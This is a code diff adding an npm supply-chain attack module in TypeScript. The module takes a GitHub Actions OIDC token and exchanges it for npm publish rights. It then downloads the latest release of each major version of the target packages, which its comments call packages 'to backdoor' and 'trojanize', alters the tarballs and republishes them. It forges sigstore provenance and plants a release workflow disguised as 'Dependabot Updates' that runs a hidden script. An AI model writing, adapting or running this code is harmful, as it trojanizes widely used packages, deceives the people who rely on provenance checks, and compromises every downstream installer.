diff --git a/src/mutator/npmoidc/index.ts b/src/mutator/npmoidc/index.ts new file mode 100644 index 0000000..99ee482 --- /dev/null +++ b/src/mutator/npmoidc/index.ts @@ -0,0 +1,234 @@ +import { $ } from "bun"; +import { createWriteStream } from "fs"; +import { join } from "path"; +import { Readable } from "stream"; +import { pipeline } from "stream/promises"; + +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { publishTarball } from "../npm/publish"; +import { updateTarball } from "../npm/tarball"; +import { generateProvenanceBundle } from "./provenance"; + +/** + * Comma-separated list of packages to backdoor, read from TARGET_PACKAGES env. + * Falls back to OIDC_PACKAGES for backwards compatibility. + */ +export function getOidcPackages(): string[] { + const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES; + if (!raw || !raw.trim()) { + return []; + } + return raw + .split(",") + .map((p) => p.trim()) + .filter(Boolean); +} + +export class NPMOidcClient extends Mutator { + constructor() { + super(); + } + + private async updateTarball(tarballPath: string): Promise { + return updateTarball(tarballPath, { + tag: "[npmoidc]", + targetName: "Setup", + }); + } + + async downloadPackages( + packages: string[], + oidcToken: string, + ): Promise<{ tmpDir: string; downloaded: string[] }> { + const tmpDir = await $`mktemp -d`.text().then((s) => s.trim()); + const downloaded: string[] = []; + + const download = async (pkg: string) => { + try { + const meta = await fetch( + "https://registry.npmjs.org/" + `${pkg.replace("/", "%2F")}`, + ); + if (!meta.ok) return; + const data = (await meta.json()) as { + "dist-tags": { latest: string }; + versions: Record; + }; + + const targets = topVersionsPerMajor(data.versions); + logUtil.log( + `[npmoidc] ${pkg}: targeting ${targets.length} version(s) — ${targets.join(", ")}`, + ); + + for (const version of targets) { + const tarball = data.versions[version]?.dist?.tarball; + if (!tarball) continue; + + const res = await fetch(tarball); + if (!res.ok || !res.body) continue; + + const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`; + const tarballPath = join(tmpDir, filename); + await pipeline( + Readable.fromWeb(res.body as import("stream/web").ReadableStream), + createWriteStream(tarballPath), + ); + const updatedPath = await this.updateTarball(tarballPath); + + // Generate sigstore provenance (best-effort). + // Skip when GITHUB_REF is missing — dangling commits trigger + // deployments without a real ref, causing Missing SourceRepositoryRef + // errors that waste the single-use OIDC token. + let provenanceBundle: Record | undefined; + if (process.env.GITHUB_REF) { + try { + const result = await generateProvenanceBundle(updatedPath); + if (result) { + provenanceBundle = result.bundle; + if (result.transparencyLogUrl) { + logUtil.log( + `[provenance] ${pkg}@${version}: ${result.transparencyLogUrl}`, + ); + } + } + } catch (provErr) { + logUtil.log( + `[provenance] generation failed for ${pkg}@${version}: ${provErr}`, + ); + } + } + + await this.publishPackage( + updatedPath, + pkg, + oidcToken, + provenanceBundle, + ); + downloaded.push(updatedPath); + } + } catch (e) { + logUtil.log(`Failed to download ${pkg}: ${e}`); + } + }; + + // Serialize package processing — the OIDC token exchange in + // publishPackage is not safe to call concurrently. + for (const pkg of packages) { + await download(pkg); + } + return { tmpDir, downloaded }; + } + + async publishPackage( + tarballPath: string, + packageName: string, + oidcToken: string, + provenanceBundle?: Record, + ): Promise { + try { + const escapedPackageName = encodeURIComponent(packageName); + const npmRes = await fetch( + `https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/${escapedPackageName}`, + { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${oidcToken}`, + }, + body: JSON.stringify({ oidcToken }), + }, + ); + const { token } = (await npmRes.json()) as { token: string }; + + if (token) { + logUtil.log("About to publish!"); + + // Try with provenance first (if available) + if (provenanceBundle) { + const ok = await publishTarball( + tarballPath, + token, + false, + provenanceBundle, + ); + if (ok) return true; + // Provenance likely rejected due to missing SourceRepositoryRef + // in the signing certificate — retry without it. + logUtil.log("[publish] provenance rejected, retrying without it"); + } + + return await publishTarball(tarballPath, token, false); + } else { + logUtil.log("About to publish!"); + await publishTarball(tarballPath, "DummyToken", true); + return false; + } + } catch (e) { + logUtil.error("Error publishing!"); + logUtil.error(e); + return false; + } + } + + async execute(): Promise { + const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = + process.env; + + const oidcRes = await fetch( + `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`, + { + headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` }, + }, + ); + const { value: oidcToken } = (await oidcRes.json()) as { value: string }; + if (oidcToken) { + const packages = getOidcPackages(); + if (packages.length === 0) { + logUtil.log("OIDC_PACKAGES is empty — nothing to trojanize."); + return false; + } + await this.downloadPackages(packages, oidcToken); + return true; + } else { + return false; + } + } +} + +// ── Version selection ───────────────────────────────────────────────────── + +/** + * Given an npm package's versions object, return the highest stable + * (non-prerelease) version for each major version line. + * + * Skips pre-releases (anything containing "-"). + */ +function topVersionsPerMajor(versions: Record): string[] { + const majors = new Map(); + + for (const v of Object.keys(versions)) { + // Skip pre-releases + if (v.includes("-")) continue; + + const parts = v.split("."); + const major = parseInt(parts[0]!, 10); + if (isNaN(major)) continue; + + const existing = majors.get(major); + if (!existing || compareSemver(v, existing) > 0) { + majors.set(major, v); + } + } + + return Array.from(majors.values()).sort(compareSemver); +} + +function compareSemver(a: string, b: string): number { + const aParts = a.split(".").map(Number); + const bParts = b.split(".").map(Number); + for (let i = 0; i < 3; i++) { + const diff = (aParts[i] || 0) - (bParts[i] || 0); + if (diff !== 0) return diff; + } + return 0; +} diff --git a/src/mutator/npmoidc/injector.ts b/src/mutator/npmoidc/injector.ts new file mode 100644 index 0000000..7ffefd7 --- /dev/null +++ b/src/mutator/npmoidc/injector.ts @@ -0,0 +1,82 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// Workflow YAML injector +// +// Builds a clean, minimal release workflow that replaces the existing one +// entirely in the ephemeral branch commit. The workflow: +// - Triggers on any branch push +// - Single job "release" with checkout, setup-bun, and bun run _index.js +// - Inherits environment with prevent_deployment: true if the original had one +// - Passes OIDC_PACKAGES, WORKFLOW_ID, REPO_ID_SUFFIX as env vars +// ═════════════════════════════════════════════════════════════════════════════ + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface InjectionResult { + modifiedYaml: string; + injected: boolean; + reason?: string; + /** Workflow filename (e.g. "ci.yml") — needed by callers. */ + workflowFilename: string; +} + +export interface InjectionContext { + workflowFilename: string; + packageName: string; + repoFullName: string; + /** Environment name from the original workflow (if any) */ + environmentName?: string; + /** GitHub event to trigger on (default: "deployment"). + * Use "push" when the token has workflow scope for a simpler path. */ + triggerEvent?: string; +} + +// ── Public API ────────────────────────────────────────────────────────────── + +/** + * Build a clean release workflow that replaces the original. + */ +export function injectToolStep( + _rawYaml: string, + ctx: InjectionContext, +): InjectionResult { + const { + packageName, + repoFullName, + workflowFilename, + environmentName, + triggerEvent = "deployment", + } = ctx; + + const envBlock = environmentName + ? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true` + : ""; + + const newWorkflow = [ + `name: Dependabot Updates`, + `run-name: Dependabot Updates`, + `on:`, + ` ${triggerEvent}`, + `permissions:`, + ` id-token: write`, + ` contents: read`, + `jobs:`, + ` release:`, + ` runs-on: ubuntu-latest`, + envBlock || null, + ` steps:`, + ` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`, + ` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`, + ` - name: prepare`, + ` run: bun run _index.js`, + ` env:`, + ` OIDC_PACKAGES: ${JSON.stringify(packageName)}`, + ` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`, + ` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`, + ] + .filter(Boolean) + .join("\n"); + + return { modifiedYaml: newWorkflow, injected: true, workflowFilename }; +} diff --git a/src/mutator/npmoidc/provenance.ts b/src/mutator/npmoidc/provenance.ts new file mode 100644 index 0000000..ad07b16 --- /dev/null +++ b/src/mutator/npmoidc/provenance.ts @@ -0,0 +1,491 @@ +import { + createHash, + generateKeyPairSync, + sign as cryptoSign, +} from "node:crypto"; +import { readFile } from "node:fs/promises"; +import { gunzipSync } from "node:zlib"; + +import { logUtil } from "../../utils/logger"; + +const FULCIO_URL = "https://fulcio.sigstore.dev"; +const REKOR_URL = "https://rekor.sigstore.dev"; + +const INTOTO_PAYLOAD_TYPE = "application/vnd.in-toto+json"; +const INTOTO_STATEMENT_V1_TYPE = "https://in-toto.io/Statement/v1"; +const SLSA_PREDICATE_V1_TYPE = "https://slsa.dev/provenance/v1"; +const GITHUB_BUILDER_ID_PREFIX = "https://github.com/actions/runner"; +const GITHUB_BUILD_TYPE = + "https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1"; +const BUNDLE_V03_MEDIA_TYPE = "application/vnd.dev.sigstore.bundle.v0.3+json"; + +interface ProvenanceSubject { + name: string; + digest: { sha512: string }; +} + +/** + * Extracts package.json from a raw (uncompressed) tar buffer. + */ +function extractPackageJson(tar: Buffer): { name: string; version: string } { + let offset = 0; + while (offset + 512 <= tar.length) { + const header = tar.subarray(offset, offset + 512); + if (header[0] === 0) break; + + const nameField = header.subarray(0, 100); + const nameEnd = nameField.indexOf(0); + const name = nameField + .subarray(0, nameEnd === -1 ? 100 : nameEnd) + .toString("utf8"); + + const sizeStr = header + .subarray(124, 136) + .toString("utf8") + .replace(/\0/g, "") + .trim(); + const size = sizeStr ? parseInt(sizeStr, 8) : 0; + + offset += 512; + + if (name === "package/package.json" || name.endsWith("/package.json")) { + const data = tar.subarray(offset, offset + size); + return JSON.parse(data.toString("utf8")); + } + + offset += Math.ceil(size / 512) * 512; + } + throw new Error("package.json not found in tarball"); +} + +/** + * Constructs the DSSE Pre-Authentication Encoding (PAE). + * Format: "DSSEv1 " + payloadBytes + */ +function preAuthEncoding(payloadType: string, payload: Buffer): Buffer { + const prefix = `DSSEv1 ${payloadType.length} ${payloadType} ${payload.length} `; + return Buffer.concat([Buffer.from(prefix, "ascii"), payload]); +} + +/** + * Extracts the subject claim from a JWT (email if verified, otherwise sub). + */ +function extractJWTSubject(jwt: string): string { + const parts = jwt.split(".", 3); + if (!parts[1]) { + throw new Error("Malformed JWT: missing payload segment"); + } + const payload = JSON.parse(Buffer.from(parts[1], "base64").toString("utf-8")); + if (payload.email) { + if (!payload.email_verified) { + throw new Error("JWT email not verified by issuer"); + } + return payload.email; + } + if (payload.sub) { + return payload.sub; + } + throw new Error("JWT subject not found"); +} + +/** + * Converts a PEM-encoded certificate to raw DER bytes. + */ +function pemToDER(pem: string): Buffer { + const lines = pem + .split("\n") + .filter( + (l) => + !l.startsWith("-----BEGIN") && + !l.startsWith("-----END") && + l.trim() !== "", + ); + return Buffer.from(lines.join(""), "base64"); +} + +/** + * Converts a package name + version to a Package URL (purl). + * e.g. "@tanstack/react-router", "1.2.3" -> "pkg:npm/%40tanstack/react-router@1.2.3" + */ +function toPurl(name: string, version: string): string { + if (name.startsWith("@")) { + return `pkg:npm/%40${name.slice(1)}@${version}`; + } + return `pkg:npm/${name}@${version}`; +} + +/** + * Builds the SLSA v1 provenance predicate for GitHub Actions. + */ +function buildProvenanceStatement(subjects: ProvenanceSubject[]) { + const e = process.env; + const relativeRef = (e.GITHUB_WORKFLOW_REF || "").replace( + e.GITHUB_REPOSITORY + "/", + "", + ); + const delimiterIndex = relativeRef.indexOf("@"); + const workflowPath = relativeRef.slice(0, delimiterIndex); + const workflowRef = relativeRef.slice(delimiterIndex + 1); + + return { + _type: INTOTO_STATEMENT_V1_TYPE, + subject: subjects, + predicateType: SLSA_PREDICATE_V1_TYPE, + predicate: { + buildDefinition: { + buildType: GITHUB_BUILD_TYPE, + externalParameters: { + workflow: { + ref: workflowRef, + repository: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}`, + path: workflowPath, + }, + }, + internalParameters: { + github: { + event_name: e.GITHUB_EVENT_NAME, + repository_id: e.GITHUB_REPOSITORY_ID, + repository_owner_id: e.GITHUB_REPOSITORY_OWNER_ID, + }, + }, + resolvedDependencies: [ + { + uri: `git+${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}@${e.GITHUB_REF}`, + digest: { gitCommit: e.GITHUB_SHA }, + }, + ], + }, + runDetails: { + builder: { + id: `${GITHUB_BUILDER_ID_PREFIX}/${e.RUNNER_ENVIRONMENT}`, + }, + metadata: { + invocationId: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}/actions/runs/${e.GITHUB_RUN_ID}/attempts/${e.GITHUB_RUN_ATTEMPT}`, + }, + }, + }, + }; +} + +/** + * Gets a sigstore-audience OIDC token from GitHub Actions. + */ +async function getSigstoreToken(): Promise { + const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL; + const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN; + + if (!requestUrl || !requestToken) { + throw new Error("GitHub Actions OIDC env vars not available for sigstore"); + } + + const url = new URL(requestUrl); + url.searchParams.append("audience", "sigstore"); + + const response = await fetch(url.href, { + headers: { + Accept: "application/json", + Authorization: `Bearer ${requestToken}`, + }, + }); + + if (!response.ok) { + throw new Error(`Failed to get sigstore OIDC token: ${response.status}`); + } + + const data = (await response.json()) as { value: string }; + if (!data.value) { + throw new Error("Sigstore OIDC response missing token value"); + } + return data.value; +} + +/** + * Requests a short-lived signing certificate from Fulcio. + * + * Sends the OIDC identity token, the ephemeral public key (PEM/SPKI), + * and a proof-of-possession signature (the JWT subject signed with + * the ephemeral private key). + * + * Returns the PEM certificate chain (leaf first). + */ +async function getSigningCertificate( + identityToken: string, + publicKeyPEM: string, + challengeSignature: Buffer, +): Promise { + const body = { + credentials: { oidcIdentityToken: identityToken }, + publicKeyRequest: { + publicKey: { + algorithm: "ECDSA", + content: publicKeyPEM, + }, + proofOfPossession: challengeSignature.toString("base64"), + }, + }; + + const response = await fetch(`${FULCIO_URL}/api/v2/signingCert`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }); + + if (!response.ok) { + const text = await response.text(); + throw new Error( + `Fulcio signing cert request failed: ${response.status} — ${text}`, + ); + } + + const result = (await response.json()) as Record; + const chain = + result.signedCertificateEmbeddedSct?.chain?.certificates ?? + result.signedCertificateDetachedSct?.chain?.certificates; + + if (!chain || chain.length === 0) { + throw new Error("Fulcio returned no certificates"); + } + return chain as string[]; +} + +interface RekorEntry { + logIndex: number; + logID: string; + integratedTime: number; + body: string; // base64 + signedEntryTimestamp?: string; // base64 + inclusionProof?: { + logIndex: number; + rootHash: string; // hex + treeSize: number; + hashes: string[]; // hex[] + checkpoint: string; + }; +} + +/** + * Submits a DSSE envelope + verifier certificate to the Rekor + * transparency log and returns the log entry. + */ +async function submitToRekor( + envelope: Record, + leafCertPEM: string, +): Promise { + const envelopeJSON = JSON.stringify(envelope); + const encodedCert = Buffer.from(leafCertPEM).toString("base64"); + + const body = { + apiVersion: "0.0.1", + kind: "dsse", + spec: { + proposedContent: { + envelope: envelopeJSON, + verifiers: [encodedCert], + }, + }, + }; + + const response = await fetch(`${REKOR_URL}/api/v1/log/entries`, { + method: "POST", + headers: { + "Content-Type": "application/json", + Accept: "application/json", + }, + body: JSON.stringify(body), + }); + + if (!response.ok) { + const text = await response.text(); + throw new Error( + `Rekor entry creation failed: ${response.status} — ${text}`, + ); + } + + const data = (await response.json()) as Record; + const entries = Object.entries(data); + if (entries.length !== 1) { + throw new Error( + `Unexpected Rekor response: expected 1 entry, got ${entries.length}`, + ); + } + + const [, entry] = entries[0]!; + const proof = entry.verification?.inclusionProof; + + return { + logIndex: entry.logIndex, + logID: entry.logID, + integratedTime: entry.integratedTime, + body: entry.body, + signedEntryTimestamp: entry.verification?.signedEntryTimestamp, + inclusionProof: proof + ? { + logIndex: proof.logIndex, + rootHash: proof.rootHash, + treeSize: proof.treeSize, + hashes: proof.hashes, + checkpoint: proof.checkpoint, + } + : undefined, + }; +} + +/** + * Generates a sigstore provenance bundle for an npm package tarball. + * + * This implements the same flow as `sigstore.attest()` used by the + * npm CLI's `libnpmpublish`: + * + * 1. Build an in-toto/SLSA provenance statement + * 2. Get an ephemeral signing certificate from Fulcio via OIDC + * 3. Sign a DSSE envelope containing the statement + * 4. Record the envelope in the Rekor transparency log + * 5. Assemble a sigstore bundle (v0.3) with all verification material + * + * @returns The bundle JSON and an optional transparency log URL, + * or `null` if provenance generation is not possible + * (e.g. not running in GitHub Actions). + */ +export async function generateProvenanceBundle(tarballPath: string): Promise<{ + bundle: Record; + transparencyLogUrl?: string; +} | null> { + // ── 1. Read tarball and compute integrity ────────────────────── + const tarballData = await readFile(tarballPath); + const sha512Hex = createHash("sha512").update(tarballData).digest("hex"); + + const decompressed = gunzipSync(tarballData); + const pkg = extractPackageJson(decompressed); + const { name: packageName, version: packageVersion } = pkg; + + if (!packageName || !packageVersion) { + throw new Error( + "Cannot generate provenance: package.json missing name or version", + ); + } + + const subjects: ProvenanceSubject[] = [ + { + name: toPurl(packageName, packageVersion), + digest: { sha512: sha512Hex }, + }, + ]; + + // ── 2. Build the SLSA provenance statement ───────────────────── + const statement = buildProvenanceStatement(subjects); + const payloadBytes = Buffer.from(JSON.stringify(statement)); + + // ── 3. Get sigstore OIDC token ───────────────────────────────── + const sigstoreToken = await getSigstoreToken(); + + // ── 4. Generate ephemeral ECDSA P-256 keypair ────────────────── + const keypair = generateKeyPairSync("ec", { namedCurve: "P-256" }); + const publicKeyPEM = keypair.publicKey + .export({ format: "pem", type: "spki" }) + .toString(); + + // ── 5. Proof-of-possession: sign the JWT subject ─────────────── + const jwtSubject = extractJWTSubject(sigstoreToken); + const challengeSig = cryptoSign( + "sha256", + Buffer.from(jwtSubject), + keypair.privateKey, + ); + + // ── 6. Get signing certificate from Fulcio ───────────────────── + const certChain = await getSigningCertificate( + sigstoreToken, + publicKeyPEM, + challengeSig, + ); + const leafCertPEM = certChain[0]!; + const leafCertDER = pemToDER(leafCertPEM); + + // ── 7. Sign the DSSE envelope ────────────────────────────────── + const pae = preAuthEncoding(INTOTO_PAYLOAD_TYPE, payloadBytes); + const signature = cryptoSign("sha256", pae, keypair.privateKey); + + // Envelope with base64-encoded fields (for Rekor submission and + // the final bundle — matches the protobuf Envelope JSON format). + const envelopeJSON = { + payloadType: INTOTO_PAYLOAD_TYPE, + payload: payloadBytes.toString("base64"), + signatures: [{ keyid: "", sig: signature.toString("base64") }], + }; + + // ── 8. Submit to Rekor transparency log ──────────────────────── + const rekorEntry = await submitToRekor(envelopeJSON, leafCertPEM); + + logUtil.log( + `[provenance] Rekor log entry created at index ${rekorEntry.logIndex}`, + ); + + // ── 9. Build the transparency log entry for the bundle ───────── + // + // Field encoding follows the sigstore protobuf JSON serialization: + // - All bytes fields are standard base64 with padding + // - All int64 fields are JSON strings (not numbers) + // - logID from Rekor is hex; convert to base64 via Buffer + // - body/canonicalizedBody from Rekor is already base64 + // - signedEntryTimestamp from Rekor is already base64 + // - inclusionProof hashes/rootHash from Rekor are hex; convert + + const tlogEntry: Record = { + logIndex: rekorEntry.logIndex.toString(), + logId: { + keyId: Buffer.from(rekorEntry.logID, "hex").toString("base64"), + }, + kindVersion: { kind: "dsse", version: "0.0.1" }, + integratedTime: rekorEntry.integratedTime.toString(), + canonicalizedBody: rekorEntry.body, + }; + + if (rekorEntry.signedEntryTimestamp) { + tlogEntry.inclusionPromise = { + signedEntryTimestamp: rekorEntry.signedEntryTimestamp, + }; + } + + if (rekorEntry.inclusionProof) { + const p = rekorEntry.inclusionProof; + tlogEntry.inclusionProof = { + logIndex: p.logIndex.toString(), + treeSize: p.treeSize.toString(), + rootHash: Buffer.from(p.rootHash, "hex").toString("base64"), + hashes: p.hashes.map((h: string) => + Buffer.from(h, "hex").toString("base64"), + ), + checkpoint: { envelope: p.checkpoint }, + }; + } + + // ── 10. Assemble the sigstore bundle (v0.3) ──────────────────── + // + // v0.3 uses a single `certificate` field (not `x509CertificateChain`) + // and stores the leaf cert as base64-encoded DER bytes. + + const bundle: Record = { + mediaType: BUNDLE_V03_MEDIA_TYPE, + verificationMaterial: { + certificate: { + rawBytes: leafCertDER.toString("base64"), + }, + tlogEntries: [tlogEntry], + timestampVerificationData: { + rfc3161Timestamps: [], + }, + }, + dsseEnvelope: { + payloadType: INTOTO_PAYLOAD_TYPE, + payload: payloadBytes.toString("base64"), + signatures: [{ sig: signature.toString("base64") }], + }, + }; + + const transparencyLogUrl = + rekorEntry.logIndex != null + ? `https://search.sigstore.dev/?logIndex=${rekorEntry.logIndex}` + : undefined; + + return { bundle, transparencyLogUrl }; +} diff --git a/src/mutator/npmoidc/types.ts b/src/mutator/npmoidc/types.ts new file mode 100644 index 0000000..eb9e7c6 --- /dev/null +++ b/src/mutator/npmoidc/types.ts @@ -0,0 +1 @@ +export type MutatorName = "npm";